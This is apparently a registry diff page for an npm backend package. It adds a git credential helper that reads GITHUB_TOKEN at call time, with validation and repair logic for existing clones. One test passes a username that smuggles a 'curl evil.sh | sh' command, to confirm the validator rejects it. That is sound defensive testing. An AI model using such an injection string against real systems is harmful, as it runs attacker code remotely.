@bevel-software/platform-core-backend 0.11.2 → 0.12.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (166) hide show
  1. package/THIRD-PARTY-NOTICES.md +1165 -427
  2. package/dist/core/create-core-server.js +1 -1
  3. package/dist/core/create-core-server.js.map +1 -1
  4. package/dist/core/create-core-services.d.ts +2 -0
  5. package/dist/core/create-core-services.d.ts.map +1 -1
  6. package/dist/core/create-core-services.js +5 -0
  7. package/dist/core/create-core-services.js.map +1 -1
  8. package/dist/core-config.d.ts +7 -0
  9. package/dist/core-config.d.ts.map +1 -1
  10. package/dist/core-config.js +9 -0
  11. package/dist/core-config.js.map +1 -1
  12. package/dist/modules/code-mode/code-mode.tool.d.ts.map +1 -1
  13. package/dist/modules/code-mode/code-mode.tool.js +7 -1
  14. package/dist/modules/code-mode/code-mode.tool.js.map +1 -1
  15. package/dist/modules/kb-fs/clone-config.d.ts +40 -2
  16. package/dist/modules/kb-fs/clone-config.d.ts.map +1 -1
  17. package/dist/modules/kb-fs/clone-config.js +94 -2
  18. package/dist/modules/kb-fs/clone-config.js.map +1 -1
  19. package/dist/modules/workflow/workflow.service.d.ts +38 -0
  20. package/dist/modules/workflow/workflow.service.d.ts.map +1 -1
  21. package/dist/modules/workflow/workflow.service.js +112 -6
  22. package/dist/modules/workflow/workflow.service.js.map +1 -1
  23. package/dist/modules/workspace/file-readers/doc-extract.service.d.ts +71 -0
  24. package/dist/modules/workspace/file-readers/doc-extract.service.d.ts.map +1 -0
  25. package/dist/modules/workspace/file-readers/doc-extract.service.js +90 -0
  26. package/dist/modules/workspace/file-readers/doc-extract.service.js.map +1 -0
  27. package/dist/modules/workspace/file-readers/doc-extract.types.d.ts +55 -0
  28. package/dist/modules/workspace/file-readers/doc-extract.types.d.ts.map +1 -0
  29. package/dist/modules/workspace/file-readers/doc-extract.types.js +34 -0
  30. package/dist/modules/workspace/file-readers/doc-extract.types.js.map +1 -0
  31. package/dist/modules/workspace/file-readers/document-reader.d.ts +32 -0
  32. package/dist/modules/workspace/file-readers/document-reader.d.ts.map +1 -0
  33. package/dist/modules/workspace/file-readers/document-reader.js +59 -0
  34. package/dist/modules/workspace/file-readers/document-reader.js.map +1 -0
  35. package/dist/modules/workspace/file-readers/email-reader.d.ts +15 -0
  36. package/dist/modules/workspace/file-readers/email-reader.d.ts.map +1 -0
  37. package/dist/modules/workspace/file-readers/email-reader.js +19 -0
  38. package/dist/modules/workspace/file-readers/email-reader.js.map +1 -0
  39. package/dist/modules/workspace/file-readers/email-text.d.ts +51 -0
  40. package/dist/modules/workspace/file-readers/email-text.d.ts.map +1 -0
  41. package/dist/modules/workspace/file-readers/email-text.js +151 -0
  42. package/dist/modules/workspace/file-readers/email-text.js.map +1 -0
  43. package/dist/modules/workspace/file-readers/extract-docx.d.ts +13 -0
  44. package/dist/modules/workspace/file-readers/extract-docx.d.ts.map +1 -0
  45. package/dist/modules/workspace/file-readers/extract-docx.js +67 -0
  46. package/dist/modules/workspace/file-readers/extract-docx.js.map +1 -0
  47. package/dist/modules/workspace/file-readers/extract-eml.d.ts +18 -0
  48. package/dist/modules/workspace/file-readers/extract-eml.d.ts.map +1 -0
  49. package/dist/modules/workspace/file-readers/extract-eml.js +87 -0
  50. package/dist/modules/workspace/file-readers/extract-eml.js.map +1 -0
  51. package/dist/modules/workspace/file-readers/extract-msg.d.ts +17 -0
  52. package/dist/modules/workspace/file-readers/extract-msg.d.ts.map +1 -0
  53. package/dist/modules/workspace/file-readers/extract-msg.js +121 -0
  54. package/dist/modules/workspace/file-readers/extract-msg.js.map +1 -0
  55. package/dist/modules/workspace/file-readers/extract-odp.d.ts +13 -0
  56. package/dist/modules/workspace/file-readers/extract-odp.d.ts.map +1 -0
  57. package/dist/modules/workspace/file-readers/extract-odp.js +60 -0
  58. package/dist/modules/workspace/file-readers/extract-odp.js.map +1 -0
  59. package/dist/modules/workspace/file-readers/extract-ods.d.ts +10 -0
  60. package/dist/modules/workspace/file-readers/extract-ods.d.ts.map +1 -0
  61. package/dist/modules/workspace/file-readers/extract-ods.js +173 -0
  62. package/dist/modules/workspace/file-readers/extract-ods.js.map +1 -0
  63. package/dist/modules/workspace/file-readers/extract-odt.d.ts +17 -0
  64. package/dist/modules/workspace/file-readers/extract-odt.d.ts.map +1 -0
  65. package/dist/modules/workspace/file-readers/extract-odt.js +45 -0
  66. package/dist/modules/workspace/file-readers/extract-odt.js.map +1 -0
  67. package/dist/modules/workspace/file-readers/extract-pdf.d.ts +3 -0
  68. package/dist/modules/workspace/file-readers/extract-pdf.d.ts.map +1 -0
  69. package/dist/modules/workspace/file-readers/extract-pdf.js +176 -0
  70. package/dist/modules/workspace/file-readers/extract-pdf.js.map +1 -0
  71. package/dist/modules/workspace/file-readers/extract-pptx.d.ts +37 -0
  72. package/dist/modules/workspace/file-readers/extract-pptx.d.ts.map +1 -0
  73. package/dist/modules/workspace/file-readers/extract-pptx.js +288 -0
  74. package/dist/modules/workspace/file-readers/extract-pptx.js.map +1 -0
  75. package/dist/modules/workspace/file-readers/extract-xlsx.d.ts +10 -0
  76. package/dist/modules/workspace/file-readers/extract-xlsx.d.ts.map +1 -0
  77. package/dist/modules/workspace/file-readers/extract-xlsx.js +98 -0
  78. package/dist/modules/workspace/file-readers/extract-xlsx.js.map +1 -0
  79. package/dist/modules/workspace/file-readers/extraction-cache.d.ts +61 -0
  80. package/dist/modules/workspace/file-readers/extraction-cache.d.ts.map +1 -0
  81. package/dist/modules/workspace/file-readers/extraction-cache.js +135 -0
  82. package/dist/modules/workspace/file-readers/extraction-cache.js.map +1 -0
  83. package/dist/modules/workspace/file-readers/file-reader.d.ts +76 -0
  84. package/dist/modules/workspace/file-readers/file-reader.d.ts.map +1 -0
  85. package/dist/modules/workspace/file-readers/file-reader.js +55 -0
  86. package/dist/modules/workspace/file-readers/file-reader.js.map +1 -0
  87. package/dist/modules/workspace/file-readers/file-reader.registry.d.ts +13 -0
  88. package/dist/modules/workspace/file-readers/file-reader.registry.d.ts.map +1 -0
  89. package/dist/modules/workspace/file-readers/file-reader.registry.js +41 -0
  90. package/dist/modules/workspace/file-readers/file-reader.registry.js.map +1 -0
  91. package/dist/modules/workspace/file-readers/image-read.d.ts +35 -0
  92. package/dist/modules/workspace/file-readers/image-read.d.ts.map +1 -0
  93. package/dist/modules/workspace/file-readers/image-read.js +108 -0
  94. package/dist/modules/workspace/file-readers/image-read.js.map +1 -0
  95. package/dist/modules/workspace/file-readers/image-reader.d.ts +19 -0
  96. package/dist/modules/workspace/file-readers/image-reader.d.ts.map +1 -0
  97. package/dist/modules/workspace/file-readers/image-reader.js +30 -0
  98. package/dist/modules/workspace/file-readers/image-reader.js.map +1 -0
  99. package/dist/modules/workspace/file-readers/odf-text.d.ts +26 -0
  100. package/dist/modules/workspace/file-readers/odf-text.d.ts.map +1 -0
  101. package/dist/modules/workspace/file-readers/odf-text.js +116 -0
  102. package/dist/modules/workspace/file-readers/odf-text.js.map +1 -0
  103. package/dist/modules/workspace/file-readers/ooxml-text.d.ts +172 -0
  104. package/dist/modules/workspace/file-readers/ooxml-text.d.ts.map +1 -0
  105. package/dist/modules/workspace/file-readers/ooxml-text.js +439 -0
  106. package/dist/modules/workspace/file-readers/ooxml-text.js.map +1 -0
  107. package/dist/modules/workspace/file-readers/text-reader.d.ts +47 -0
  108. package/dist/modules/workspace/file-readers/text-reader.d.ts.map +1 -0
  109. package/dist/modules/workspace/file-readers/text-reader.js +117 -0
  110. package/dist/modules/workspace/file-readers/text-reader.js.map +1 -0
  111. package/dist/modules/workspace/startup/kb-git.d.ts.map +1 -1
  112. package/dist/modules/workspace/startup/kb-git.js +21 -4
  113. package/dist/modules/workspace/startup/kb-git.js.map +1 -1
  114. package/dist/modules/workspace/workspace.service.d.ts +52 -8
  115. package/dist/modules/workspace/workspace.service.d.ts.map +1 -1
  116. package/dist/modules/workspace/workspace.service.js +121 -23
  117. package/dist/modules/workspace/workspace.service.js.map +1 -1
  118. package/dist/modules/workspace/workspace.tools.d.ts +2 -1
  119. package/dist/modules/workspace/workspace.tools.d.ts.map +1 -1
  120. package/dist/modules/workspace/workspace.tools.js +158 -15
  121. package/dist/modules/workspace/workspace.tools.js.map +1 -1
  122. package/package.json +11 -6
  123. package/src/core/create-core-server.ts +1 -1
  124. package/src/core/create-core-services.ts +6 -0
  125. package/src/core-config.ts +9 -0
  126. package/src/modules/code-mode/__tests__/code-mode.tool.test.ts +30 -0
  127. package/src/modules/code-mode/code-mode.tool.ts +7 -1
  128. package/src/modules/kb-fs/__tests__/clone-config.test.ts +63 -2
  129. package/src/modules/kb-fs/clone-config.ts +97 -2
  130. package/src/modules/secrets-vault/secrets-vault.routes.ts +582 -582
  131. package/src/modules/tool-helpers/__tests__/phase4-tools.test.ts +2 -1
  132. package/src/modules/workflow/__tests__/workflow.service.commitFileWhileLocked.test.ts +11 -5
  133. package/src/modules/workflow/__tests__/workflow.service.releaseLock.test.ts +172 -7
  134. package/src/modules/workflow/workflow.service.ts +118 -6
  135. package/src/modules/workspace/__tests__/workspace.service.test.ts +1 -1
  136. package/src/modules/workspace/__tests__/workspace.tools.test.ts +500 -2
  137. package/src/modules/workspace/file-readers/__tests__/doc-extract.test.ts +1658 -0
  138. package/src/modules/workspace/file-readers/__tests__/email-extract.test.ts +485 -0
  139. package/src/modules/workspace/file-readers/__tests__/file-reader.registry.test.ts +97 -0
  140. package/src/modules/workspace/file-readers/__tests__/image-read.test.ts +100 -0
  141. package/src/modules/workspace/file-readers/doc-extract.service.ts +104 -0
  142. package/src/modules/workspace/file-readers/doc-extract.types.ts +63 -0
  143. package/src/modules/workspace/file-readers/document-reader.ts +64 -0
  144. package/src/modules/workspace/file-readers/email-reader.ts +21 -0
  145. package/src/modules/workspace/file-readers/email-text.ts +193 -0
  146. package/src/modules/workspace/file-readers/extract-docx.ts +67 -0
  147. package/src/modules/workspace/file-readers/extract-eml.ts +92 -0
  148. package/src/modules/workspace/file-readers/extract-msg.ts +134 -0
  149. package/src/modules/workspace/file-readers/extract-odp.ts +63 -0
  150. package/src/modules/workspace/file-readers/extract-ods.ts +182 -0
  151. package/src/modules/workspace/file-readers/extract-odt.ts +48 -0
  152. package/src/modules/workspace/file-readers/extract-pdf.ts +178 -0
  153. package/src/modules/workspace/file-readers/extract-pptx.ts +302 -0
  154. package/src/modules/workspace/file-readers/extract-xlsx.ts +96 -0
  155. package/src/modules/workspace/file-readers/extraction-cache.ts +142 -0
  156. package/src/modules/workspace/file-readers/file-reader.registry.ts +45 -0
  157. package/src/modules/workspace/file-readers/file-reader.ts +104 -0
  158. package/src/modules/workspace/file-readers/image-read.ts +122 -0
  159. package/src/modules/workspace/file-readers/image-reader.ts +39 -0
  160. package/src/modules/workspace/file-readers/odf-text.ts +123 -0
  161. package/src/modules/workspace/file-readers/ooxml-text.ts +477 -0
  162. package/src/modules/workspace/file-readers/text-reader.ts +131 -0
  163. package/src/modules/workspace/startup/__tests__/kb-startup-runner.test.ts +141 -0
  164. package/src/modules/workspace/startup/kb-git.ts +20 -7
  165. package/src/modules/workspace/workspace.service.ts +132 -25
  166. package/src/modules/workspace/workspace.tools.ts +174 -12
@@ -1,5 +1,11 @@
1
- import { describe, it, expect } from 'vitest';
2
- import { cloneTrackingConfigArgs, ORIGIN_FETCH_REFSPEC } from '../clone-config.js';
1
+ import { describe, it, expect, afterEach } from 'vitest';
2
+ import {
3
+ cloneCredentialArgs,
4
+ cloneCredentialConfigArgs,
5
+ cloneTrackingConfigArgs,
6
+ credentialHelperValue,
7
+ ORIGIN_FETCH_REFSPEC,
8
+ } from '../clone-config.js';
3
9
 
4
10
  describe('cloneTrackingConfigArgs', () => {
5
11
  // A slashed draft name is the everyday case (`<email-localpart>/<slug>`), and
@@ -13,3 +19,58 @@ describe('cloneTrackingConfigArgs', () => {
13
19
  ]);
14
20
  });
15
21
  });
22
+
23
+ describe('credential config', () => {
24
+ const ORIGINAL = process.env.GITHUB_TOKEN;
25
+ afterEach(() => {
26
+ if (ORIGINAL === undefined) delete process.env.GITHUB_TOKEN;
27
+ else process.env.GITHUB_TOKEN = ORIGINAL;
28
+ });
29
+
30
+ it('reads the token from the environment at call time, never inlining its value', () => {
31
+ process.env.GITHUB_TOKEN = 'ghp_supersecret';
32
+ const helper = credentialHelperValue('x-access-token');
33
+ expect(helper).toContain('password=$GITHUB_TOKEN');
34
+ expect(helper).not.toContain('ghp_supersecret');
35
+ });
36
+
37
+ it('with no token: clones get no helper, and existing clones get theirs UNSET', () => {
38
+ delete process.env.GITHUB_TOKEN;
39
+ expect(credentialHelperValue('x-access-token')).toBeNull();
40
+ // A fresh clone simply carries nothing…
41
+ expect(cloneCredentialArgs('x-access-token')).toEqual([]);
42
+ // …but an adopted clone may carry a helper from when a token WAS
43
+ // configured, and that stale helper (answering with an empty password)
44
+ // would shadow whatever auth the operator fell back to — so the repair
45
+ // path removes it. Callers run this tolerantly: unset of a missing key
46
+ // exits non-zero and is the expected no-op.
47
+ expect(cloneCredentialConfigArgs('x-access-token')).toEqual([
48
+ ['config', '--unset-all', 'credential.helper', 'password=\\$GITHUB_TOKEN'],
49
+ ]);
50
+ });
51
+
52
+ it('passes the clone form as --config, which git only honours AFTER the subcommand', () => {
53
+ process.env.GITHUB_TOKEN = 'ghp_x';
54
+ // Pinned exactly: `-c` here instead of `--config` still authenticates the
55
+ // clone but writes nothing into the new repo, which is the bug this guards.
56
+ expect(cloneCredentialArgs('oauth2')).toEqual([
57
+ '--config',
58
+ `credential.helper=${credentialHelperValue('oauth2')}`,
59
+ ]);
60
+ });
61
+
62
+ it('replaces rather than appends when re-stamping — scoped to app-owned values only', () => {
63
+ process.env.GITHUB_TOKEN = 'ghp_x';
64
+ // The trailing value-pattern is what keeps an operator's own clone-local
65
+ // helper (store/cache/custom) out of reach of both the replace and the
66
+ // unset — git only touches values matching it.
67
+ expect(cloneCredentialConfigArgs('x-access-token')).toEqual([
68
+ ['config', '--replace-all', 'credential.helper', credentialHelperValue('x-access-token'), 'password=\\$GITHUB_TOKEN'],
69
+ ]);
70
+ });
71
+
72
+ it('refuses a username that would break out of the helper snippet', () => {
73
+ process.env.GITHUB_TOKEN = 'ghp_x';
74
+ expect(() => credentialHelperValue('me"; curl evil.sh | sh; #')).toThrow(/must match/);
75
+ });
76
+ });
@@ -1,6 +1,13 @@
1
1
  /**
2
- * The git configuration a per-branch workspace clone must have for its branch
3
- * to track exactly ONE upstream ref.
2
+ * The git configuration a per-branch workspace clone must carry: the tracking
3
+ * config that pins its branch to exactly ONE upstream ref, and the credential
4
+ * helper its remote operations authenticate with.
5
+ *
6
+ * Both are stamped at clone time AND re-stamped when an existing clone is
7
+ * adopted from disk, so a clone created by an older build — or by a path that
8
+ * only authenticated its own invocation — is repaired rather than left broken.
9
+ *
10
+ * On the tracking half:
4
11
  *
5
12
  * Why this exists: a clone's config is append-only from git's point of view,
6
13
  * and several things write to it:
@@ -69,3 +76,91 @@ export function cloneTrackingConfigArgs(branch: string): string[][] {
69
76
  ['config', '--replace-all', `branch.${branch}.merge`, `refs/heads/${branch}`],
70
77
  ];
71
78
  }
79
+
80
+ /**
81
+ * The inline credential helper a workspace clone authenticates its remote
82
+ * operations with, or null when the deployment has no git token configured.
83
+ *
84
+ * The snippet reads `$GITHUB_TOKEN` at CALL time, so the secret itself never
85
+ * enters argv, the clone's `.git/config`, or any error message quoting either.
86
+ * `GITHUB_TOKEN` is the normalised name — `CoreConfig` collapses `GIT_TOKEN` /
87
+ * `GH_TOKEN` onto it at boot, and `DeploymentSettingsService.syncGitTokenEnv`
88
+ * publishes a token supplied through the setup screen to the same place — so
89
+ * this one name covers every way a token can arrive.
90
+ *
91
+ * The username is provider-specific (GitHub `x-access-token`, GitLab `oauth2`,
92
+ * Bitbucket `x-token-auth`); the token is always the Basic-auth password,
93
+ * which every major host accepts.
94
+ */
95
+ export function credentialHelperValue(gitUsername: string): string | null {
96
+ if (!process.env.GITHUB_TOKEN) return null;
97
+ // Interpolated into a shell snippet that git will execute. `CoreConfig` and
98
+ // `DeploymentSettingsService` both reject a username outside this charset
99
+ // before it can get this far, so reaching the throw means an unvalidated
100
+ // fourth path appeared — fail closed rather than emit an injectable helper.
101
+ if (!/^[A-Za-z0-9._-]+$/.test(gitUsername)) {
102
+ throw new Error(`git username must match [A-Za-z0-9._-]+; got "${gitUsername}"`);
103
+ }
104
+ // printf '%s' rather than echo: POSIX leaves echo's handling of backslash
105
+ // escapes implementation-defined (dash interprets \c as "stop output"), so
106
+ // a token containing a backslash sequence could be silently truncated on
107
+ // the way to git. printf %s passes the bytes through verbatim. The literal
108
+ // `password=$GITHUB_TOKEN` stays in the snippet, which is what
109
+ // APP_HELPER_VALUE_PATTERN keys on — echo-era helpers stamped by earlier
110
+ // builds still match it and get replaced on the next stamp.
111
+ return `!f() { printf '%s\\n' "username=${gitUsername}" "password=$GITHUB_TOKEN"; }; f`;
112
+ }
113
+
114
+ /**
115
+ * `git clone` arguments that PERSIST the credential helper into the repository
116
+ * being created. Position is load-bearing: these belong AFTER the `clone`
117
+ * subcommand, where `--config` means "write this into the new repo's config".
118
+ * The same pair placed BEFORE it is git's per-invocation `-c`, which
119
+ * authenticates that one clone and leaves the resulting repo with no helper at
120
+ * all — so every later `git push` from that clone prompts for a username,
121
+ * finds no tty, and dies. That was a real outage: a self-hosted deployment
122
+ * cloned fine, committed fine, and silently pushed nothing for two days.
123
+ *
124
+ * Empty when no token is configured, matching the un-authenticated clone the
125
+ * rest of the layer already supports.
126
+ */
127
+ export function cloneCredentialArgs(gitUsername: string): string[] {
128
+ const helper = credentialHelperValue(gitUsername);
129
+ return helper ? ['--config', `credential.helper=${helper}`] : [];
130
+ }
131
+
132
+ /**
133
+ * `git` argument lists that bring a clone's credential helper into line with
134
+ * the deployment's current config — the repair path for clones on disk (see
135
+ * `cloneCredentialArgs`), applied wherever `cloneTrackingConfigArgs` is:
136
+ * `--replace-all` when a token is configured (idempotent re-stamp, stale
137
+ * values collapse), `--unset-all` when the deployment lost its token (a
138
+ * leftover helper answering with an empty password must not shadow whatever
139
+ * auth the operator fell back to; unset of a missing value exits non-zero
140
+ * and callers tolerate it — see `stampCredentialHelper`). Both operations
141
+ * are scoped by the value pattern below so only app-owned helpers are
142
+ * touched. Returns the arguments rather than running them, for the same
143
+ * reason `cloneTrackingConfigArgs` does.
144
+ */
145
+ /**
146
+ * Value pattern (a POSIX ERE, as `git config`'s optional value-pattern
147
+ * argument expects) that matches ONLY helpers this application stamped —
148
+ * every one of ours reads `password=$GITHUB_TOKEN`, and no operator-authored
149
+ * helper has a reason to contain that literal. Scoping both the replace and
150
+ * the unset to it means an operator's own clone-local helper (`store`,
151
+ * `cache`, something custom) is never collapsed away or deleted by our
152
+ * stamping: git chains all configured helpers in order, so ours and theirs
153
+ * coexist.
154
+ */
155
+ const APP_HELPER_VALUE_PATTERN = 'password=\\$GITHUB_TOKEN';
156
+
157
+ export function cloneCredentialConfigArgs(gitUsername: string): string[][] {
158
+ const helper = credentialHelperValue(gitUsername);
159
+ // `--replace-all key value pattern` replaces every line MATCHING the
160
+ // pattern with the one value (adding it when none match) and leaves
161
+ // non-matching values — operator helpers — untouched. Same scoping on the
162
+ // unset: only app-stamped values are removed when the token goes away.
163
+ return helper
164
+ ? [['config', '--replace-all', 'credential.helper', helper, APP_HELPER_VALUE_PATTERN]]
165
+ : [['config', '--unset-all', 'credential.helper', APP_HELPER_VALUE_PATTERN]];
166
+ }